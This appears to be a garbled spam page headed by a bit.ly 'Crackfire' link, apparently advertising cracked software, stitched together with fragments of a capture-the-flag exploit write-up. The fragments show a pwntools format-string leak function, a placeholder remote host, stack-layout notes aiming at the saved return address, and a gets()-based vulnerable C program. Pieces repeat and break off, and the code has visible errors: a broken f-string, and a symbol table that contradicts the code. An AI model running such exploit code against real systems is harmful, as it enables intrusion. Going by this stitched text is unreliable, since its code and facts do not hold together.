Https- Bit.ly Crackfire Online
# ---------------------------------------------------------------- def leak_address(p, fmt): """Send a format string and return the first leaked pointer.""" p.sendlineafter(b"Enter the secret code:", fmt.encode()) p.recvuntil(b"Enter the secret code:\n") leak = p.recvline().strip() # The leak may contain spaces; take first token addr = int(leak.split()[0], 16) log.success(f"Leaked: hex(addr)") return addr
# Remote host (if the challenge runs on a remote server) HOST = "challenge.example.com" PORT = 31337 https- bit.ly crackfire
[0] pointer to format string (our input) [1] saved %rbp of main [2] saved RIP of main <-- target [3...] other registers / args By printing many %p s we can see where the saved RIP lands. Example payload: take first token addr = int(leak.split()[0]
int main() char buf[64]; puts("Enter the secret code:"); gets(buf); // <-- vulnerable if (check(buf) == 0) win(); else puts("Invalid"); puts("Enter the secret code:")
| Address | Symbol | Purpose | |---------|--------|---------| | 0x401260 | main | reads user input with scanf("%s", buf) | | 0x4010f0 | check | compares input to a hidden string ( secret ) | | 0x401240 | win | prints flag and exits |